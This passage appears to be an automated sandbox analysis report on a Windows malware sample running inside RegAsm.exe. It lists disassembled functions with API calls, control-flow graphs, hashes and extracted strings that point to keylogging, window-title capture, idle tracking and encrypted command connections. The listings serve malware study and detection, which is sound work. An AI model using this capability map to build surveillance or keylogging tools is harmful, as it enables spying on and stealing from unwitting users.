                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                        • WSAGetLastError.WS2_32 ref: 00404A21
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateEvent$ErrorLastLocalTimeconnect
                        • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                        • API String ID: 994465650-2151626615
                        • Opcode ID: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                        • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                        • Opcode Fuzzy Hash: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                        • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                        Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        APIs
                        • __Init_thread_footer.LIBCMT ref: 0040AD38
                        • Sleep.KERNEL32(000001F4), ref: 0040AD43
                        • GetForegroundWindow.USER32 ref: 0040AD49
                        • GetWindowTextLengthW.USER32 ref: 0040AD52
                        • GetWindowTextW.USER32 ref: 0040AD86
                        • Sleep.KERNEL32(000003E8), ref: 0040AE54
                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                        • String ID: [${ User has been idle for $ minutes }$]
                        • API String ID: 911427763-3954389425
                        • Opcode ID: af3cf2329a29d0ead1f6790201367748a0b563353980fa9fd476e2dccae2fe78
                        • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                        • Opcode Fuzzy Hash: af3cf2329a29d0ead1f6790201367748a0b563353980fa9fd476e2dccae2fe78
                        • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                        Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1206 40da34-40da59 call 401f86 1209 40db83-40dba9 call 401f04 GetLongPathNameW call 40417e 1206->1209 1210 40da5f 1206->1210 1231 40dbae-40dc1b call 40417e call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1209->1231 1212 40da70-40da7e call 41b5b4 call 401f13 1210->1212 1213 40da91-40da96 1210->1213 1214 40db51-40db56 1210->1214 1215 40daa5-40daac call 41bfb7 1210->1215 1216 40da66-40da6b 1210->1216 1217 40db58-40db5d 1210->1217 1218 40da9b-40daa0 1210->1218 1219 40db6e 1210->1219 1220 40db5f-40db64 call 43c0cf 1210->1220 1240 40da83 1212->1240 1222 40db73-40db78 call 43c0cf 1213->1222 1214->1222 1232 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1215->1232 1233 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1215->1233 1216->1222 1217->1222 1218->1222 1219->1222 1228 40db69-40db6c 1220->1228 1234 40db79-40db7e call 409057 1222->1234 1228->1219 1228->1234 1232->1240 1245 40da87-40da8c call 401f09 1233->1245 1234->1209 1240->1245 1245->1209
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LongNamePath
                        • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                        • API String ID: 82841172-425784914
                        • Opcode ID: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                        • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                        • Opcode Fuzzy Hash: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                        • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                        Function 0044AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1305 44ac49-44ac62 1306 44ac64-44ac74 call 446766 1305->1306 1307 44ac78-44ac7d 1305->1307 1306->1307 1314 44ac76 1306->1314 1309 44ac7f-44ac87 1307->1309 1310 44ac8a-44acae MultiByteToWideChar 1307->1310 1309->1310 1312 44acb4-44acc0 1310->1312 1313 44ae41-44ae54 call 434fcb 1310->1313 1315 44ad14 1312->1315 1316 44acc2-44acd3 1312->1316 1314->1307 1318 44ad16-44ad18 1315->1318 1319 44acd5-44ace4 call 457190 1316->1319 1320 44acf2-44ad03 call 446137 1316->1320 1323 44ae36 1318->1323 1324 44ad1e-44ad31 MultiByteToWideChar 1318->1324 1319->1323 1333 44acea-44acf0 1319->1333 1320->1323 1330 44ad09 1320->1330 1328 44ae38-44ae3f call 435e40 1323->1328 1324->1323 1327 44ad37-44ad49 call 448bb3 1324->1327 1335 44ad4e-44ad52 1327->1335 1328->1313 1334 44ad0f-44ad12 1330->1334 1333->1334 1334->1318 1335->1323 1337 44ad58-44ad5f 1335->1337 1338 44ad61-44ad66 1337->1338 1339 44ad99-44ada5 1337->1339 1338->1328 1342 44ad6c-44ad6e 1338->1342 1340 44ada7-44adb8 1339->1340 1341 44adf1 1339->1341 1343 44add3-44ade4 call 446137 1340->1343 1344 44adba-44adc9 call 457190 1340->1344 1345 44adf3-44adf5 1341->1345 1342->1323 1346 44ad74-44ad8e call 448bb3 1342->1346 1350 44ae2f-44ae35 call 435e40 1343->1350 1361 44ade6 1343->1361 1344->1350 1359 44adcb-44add1 1344->1359 1349 44adf7-44ae10 call 448bb3 1345->1349 1345->1350 1346->1328 1358 44ad94 1346->1358 1349->1350 1362 44ae12-44ae19 1349->1362 1350->1323 1358->1323 1363 44adec-44adef 1359->1363 1361->1363 1364 44ae55-44ae5b 1362->1364 1365 44ae1b-44ae1c 1362->1365 1363->1345 1366 44ae1d-44ae2d WideCharToMultiByte 1364->1366 1365->1366 1366->1350 1367 44ae5d-44ae64 call 435e40 1366->1367 1367->1328
                        APIs
                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                        • __alloca_probe_16.LIBCMT ref: 0044ACDB
                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                        • __alloca_probe_16.LIBCMT ref: 0044ADC0
                        • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                        • __freea.LIBCMT ref: 0044AE30
                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        • __freea.LIBCMT ref: 0044AE39
                        • __freea.LIBCMT ref: 0044AE5E
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                        • String ID:
                        • API String ID: 3864826663-0
                        • Opcode ID: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                        • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                        • Opcode Fuzzy Hash: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                        • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                        Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1388 41c3f1-41c402 1389 41c404-41c407 1388->1389 1390 41c41a-41c421 1388->1390 1391 41c410-41c418 1389->1391 1392 41c409-41c40e 1389->1392 1393 41c422-41c43b CreateFileW 1390->1393 1391->1393 1392->1393 1394 41c441-41c446 1393->1394 1395 41c43d-41c43f 1393->1395 1397 41c461-41c472 WriteFile 1394->1397 1398 41c448-41c456 SetFilePointer 1394->1398 1396 41c47f-41c484 1395->1396 1400 41c474 1397->1400 1401 41c476-41c47d CloseHandle 1397->1401 1398->1397 1399 41c458-41c45f CloseHandle 1398->1399 1399->1395 1400->1401 1401->1396
                        APIs
                        • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                        • CloseHandle.KERNEL32(00000000), ref: 0041C459
                        • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                        • CloseHandle.KERNEL32(00000000), ref: 0041C477
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseHandle$CreatePointerWrite
                        • String ID: hpF
                        • API String ID: 1852769593-151379673
                        • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                        • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                        • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                        • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                        Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1402 41b2c3-41b31a call 41bfb7 call 4135a6 call 401fe2 call 401fd8 call 406ae1 1413 41b35d-41b366 1402->1413 1414 41b31c-41b347 call 4135a6 call 401fab StrToIntA 1402->1414 1416 41b368-41b36d 1413->1416 1417 41b36f 1413->1417 1424 41b355-41b358 call 401fd8 1414->1424 1425 41b349-41b352 call 41cf69 1414->1425 1418 41b374-41b37f call 40537d 1416->1418 1417->1418 1424->1413 1425->1424
                        APIs
                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                          • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                          • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                          • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                        • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCurrentOpenProcessQueryValue
                        • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                        • API String ID: 1866151309-2070987746
                        • Opcode ID: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                        • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                        • Opcode Fuzzy Hash: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                        • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                        Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1476 40a675-40a685 1477 40a722-40a725 1476->1477 1478 40a68b-40a68d 1476->1478 1479 40a690-40a6b6 call 401f04 CreateFileW 1478->1479 1482 40a6f6 1479->1482 1483 40a6b8-40a6c6 GetFileSize 1479->1483 1486 40a6f9-40a6fd 1482->1486 1484 40a6c8 1483->1484 1485 40a6ed-40a6f4 CloseHandle 1483->1485 1487 40a6d2-40a6d9 1484->1487 1488 40a6ca-40a6d0 1484->1488 1485->1486 1486->1479 1489 40a6ff-40a702 1486->1489 1490 40a6e2-40a6e7 Sleep 1487->1490 1491 40a6db-40a6dd call 40b0dc 1487->1491 1488->1485 1488->1487 1489->1477 1492 40a704-40a70b 1489->1492 1490->1485 1491->1490 1492->1477 1493 40a70d-40a71d call 40905c call 40a179 1492->1493 1493->1477
                        APIs
                        • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                        • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                        • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                        • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseCreateHandleSizeSleep
                        • String ID: XQG
                        • API String ID: 1958988193-3606453820
                        • Opcode ID: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                        • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                        • Opcode Fuzzy Hash: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                        • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                        Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CountEventTick
                        • String ID: !D@$NG
                        • API String ID: 180926312-2721294649
                        • Opcode ID: ebd61020a37b9220784ff29151858ac03b19ee77db9fcefbed30365d3bd7595e
                        • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                        • Opcode Fuzzy Hash: ebd61020a37b9220784ff29151858ac03b19ee77db9fcefbed30365d3bd7595e
                        • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                        Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                        Download Yara Rule
                        APIs
                        • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                        • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040A20E
                        • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040A21A
                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateThread$LocalTimewsprintf
                        • String ID: Offline Keylogger Started
                        • API String ID: 465354869-4114347211
                        • Opcode ID: e8215c935415644a741e178cef246bea46bfec4a592ac60f75e4063261735619
                        • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                        • Opcode Fuzzy Hash: e8215c935415644a741e178cef246bea46bfec4a592ac60f75e4063261735619
                        • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                        Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                        Download Yara Rule
                        APIs
                        • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                        • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                        Strings
                        • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Create$EventLocalThreadTime
                        • String ID: KeepAlive | Enabled | Timeout:
                        • API String ID: 2532271599-1507639952
                        • Opcode ID: 560c203c767acd10f1bafe677f0d9cbc016093e56ac0604e807a07335adf4d88
                        • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                        • Opcode Fuzzy Hash: 560c203c767acd10f1bafe677f0d9cbc016093e56ac0604e807a07335adf4d88
                        • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                        Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                        • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                        • RegCloseKey.KERNEL32(?), ref: 004137B1
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCreateValue
                        • String ID: pth_unenc
                        • API String ID: 1818849710-4028850238
                        • Opcode ID: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                        • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                        • Opcode Fuzzy Hash: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                        • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                        Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                        Download Yara Rule
                        APIs
                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                        • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                        • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00404DD2
                        • CloseHandle.KERNEL32(?), ref: 00404DDB
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Create$CloseEventHandleObjectSingleThreadWait
                        • String ID:
                        • API String ID: 3360349984-0
                        • Opcode ID: 86f3e289ee87dd2070e95c4c7186b2520882cd19ee190badebe9b582a3aec49f
                        • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                        • Opcode Fuzzy Hash: 86f3e289ee87dd2070e95c4c7186b2520882cd19ee190badebe9b582a3aec49f
                        • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                        Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                        • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: LibraryLoad$ErrorLast
                        • String ID:
                        • API String ID: 3177248105-0
                        • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                        • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                        • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                        • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                        Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                        • GetLastError.KERNEL32 ref: 0040D083
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateErrorLastMutex
                        • String ID: SG
                        • API String ID: 1925916568-3189917014
                        • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                        • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                        • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                        • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                        Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                        • RegQueryValueExA.KERNEL32 ref: 004135E7
                        • RegCloseKey.KERNEL32(?), ref: 004135F2
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseOpenQueryValue
                        • String ID:
                        • API String ID: 3677997916-0
                        • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                        • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                        • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                        • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                        Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                        • RegQueryValueExA.KERNEL32 ref: 0041372D
                        • RegCloseKey.KERNEL32(00000000), ref: 00413738
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseOpenQueryValue
                        • String ID:
                        • API String ID: 3677997916-0
                        • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                        • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                        • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                        • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                        Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                        • RegQueryValueExA.KERNEL32 ref: 00413587
                        • RegCloseKey.KERNEL32(?), ref: 00413592
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseOpenQueryValue
                        • String ID:
                        • API String ID: 3677997916-0
                        • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                        • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                        • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                        • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                        Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                        • RegQueryValueExA.KERNEL32 ref: 0041352A
                        • RegCloseKey.KERNEL32(?), ref: 00413535
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseOpenQueryValue
                        • String ID:
                        • API String ID: 3677997916-0
                        • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                        • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                        • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                        • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                        Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                        • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                        • RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                        Memory Dump Source
